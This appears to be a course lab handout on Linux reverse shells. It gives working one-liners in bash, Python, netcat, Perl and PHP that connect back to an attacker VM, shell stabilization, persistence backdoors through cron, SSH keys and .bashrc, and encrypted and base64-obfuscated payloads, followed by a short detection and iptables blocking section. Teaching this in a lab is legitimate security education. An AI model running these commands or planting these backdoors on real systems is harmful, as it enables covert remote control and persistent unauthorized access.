Lab 9.2: Reverse Shell Linux
Learning Objectives
By the end of this lab, you will be able to:
- Create Linux reverse shells using different techniques
- Use Bash, Python, Netcat to establish shells
- Stabilize a basic shell into a full TTY shell
- Understand reverse shell one-liners
- Establish persistence with reverse shells
- Detect and block Linux reverse shells
- Understand the differences between Linux and Windows shells
Estimated Duration
30 minutes
Prerequisites
- 2 VMs: Kali Linux (attacker) + Ubuntu/Debian (target)
- Configured internal network
- Understanding of Lab 3.2 (Reverse Shell Windows)
- Lab 9.1 (Linux privilege escalation) completed
Professional Context
Linux reverse shells are used by:
- Pentesters after initial exploitation (web shell, compromised SSH)
- Linux malware for C2 communication
- APT groups for long-term access maintenance
- Red Teams for attack simulations
Used after:
- Web vulnerability exploitation (RCE)
- Linux service exploitation
- Successful SSH brute force
- Credential stuffing
ETHICAL AND LEGAL WARNING
Establishing a reverse shell on a system without authorization = Unauthorized access.
AUTHORIZED:
- Isolated lab VMs
- Authorized tests with contract
- Legal platforms (HTB, THM)
PROHIBITED:
- Real servers without permission
- Maintaining unauthorized access
Consequences: Computer crime (Criminal Code art. 342.1).
Part 1: Reverse Shell Bash
Classic One-Liner
On Attacker VM (Kali), listen:
nc -lvnp 4444
On Victim VM (Ubuntu), execute:
bash -i >& /dev/tcp/192.168.100.10/4444 0>&1
Detailed explanation:
bash -i # Interactive shell
>& # Redirect stdout and stderr
/dev/tcp/IP/PORT # Special bash device for TCP connections
0>&1 # Redirect stdin
BOOM! Connection established!
On Kali, you see:
listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$
Full shell of the victim!
Questions:
- Was the reverse shell connection established?
- What is the difference with the Windows reverse shell?
Part 2: Variations of Reverse Shells
Python Reverse Shell
Python 2 Version:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Python 3 Version:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Advantage: Works even if /dev/tcp is not available
Netcat Reverse Shell
If netcat available on target:
nc 192.168.100.10 4444 -e /bin/bash
If nc without -e option (BSD version):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f
Perl Reverse Shell
perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
PHP Reverse Shell
If PHP available:
php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
Questions: 3. Which method works on your target system? 4. Which do you prefer and why?
Part 3: Shell Stabilization
Basic Shell Problems
Basic shell has limitations:
- No autocompletion (Tab)
- No history (up/down arrows)
- No clear screen (Ctrl+L)
- Ctrl+C kills the shell
- No functional vi/nano
Method 1: Python PTY
In the reverse shell, execute:
python3 -c 'import pty; pty.spawn("/bin/bash")'
OR:
python -c 'import pty; pty.spawn("/bin/bash")'
Result: Basic interactive shell
Then, for FULL shell:
# In the shell
export TERM=xterm
# Then, press Ctrl+Z (put in background)
On your attacker machine (Kali):
stty raw -echo; fg
Then Enter twice
BOOM! Full TTY shell!
Test:
- Tab for autocompletion
- Arrows for history
- Ctrl+L for clear
- vi/nano work!
Method 2: Script Command
script /dev/null -c bash
Immediate interactive shell!
Method 3: Expect
expect -c 'spawn bash; interact'
Questions: 5. Did you manage to stabilize the shell? 6. Which features work now?
Part 4: Linux Persistence
Cron Job for Auto Reconnection
Create reconnection script:
echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh
Add to crontab:
(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -
Execution: Every minute!
Verify:
crontab -l
SSH Key Backdoor
Add your SSH key:
mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... your_public_key" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys
Future connection:
ssh user@192.168.100.20
Permanent access without password!
Bashrc Backdoor
Add to .bashrc:
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc
Every time user opens a terminal: Reverse shell!
Questions: 7. Does persistence via cron work? 8. How to detect these backdoors?
Part 5: Encryption and Obfuscation
Encrypted Reverse Shell
With OpenSSL:
Attacker (listen with SSL):
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
Victim (SSL connection):
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s
Encrypted communication! IDS/IPS harder to detect.
Base64 Obfuscation
Encode the payload:
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64
Result:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK
Execution:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash
Less suspicious in logs!
Questions: 9. Does the encrypted shell work? 10. Why is obfuscation useful?
Part 6: Detection and Defense
Detect Outgoing Connections
List active connections:
netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i
Look for bash/sh with network connections:
ps aux | grep bash
lsof -i -a -c bash
If bash has outgoing TCP connection: Suspicious!
Block with iptables
Block outgoing connections except allowed:
iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
Reverse shells blocked!
Monitoring with auditd
Monitor bash execution:
auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash
Logs in: /var/log/audit/audit.log
Questions: 11. Did you detect the reverse shell with netstat? 12. Did iptables block the connection?
Deliverables
- Report with different reverse shell methods tested
- Stabilized and functional shell
- Configured and tested persistence
- Demonstrated detection and blocking
Reference Commands
Reverse Shells
# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f
Stabilization
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
Persistence
(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'ssh_key' >> ~/.ssh/authorized_keys
echo 'payload' >> ~/.bashrc
Conclusion
Mastered techniques:
- Multiple methods for Linux reverse shells
- Full TTY stabilization
- Persistence via cron, SSH, bashrc
- Encryption and obfuscation
- Detection and defense
Differences Linux vs Windows:
- Linux: More native methods (bash, pre-installed python)
- Easier stabilization (PTY)
- Similar detection (netstat, monitoring)
Lab developed as part of the Operating Systems course - MODULE 9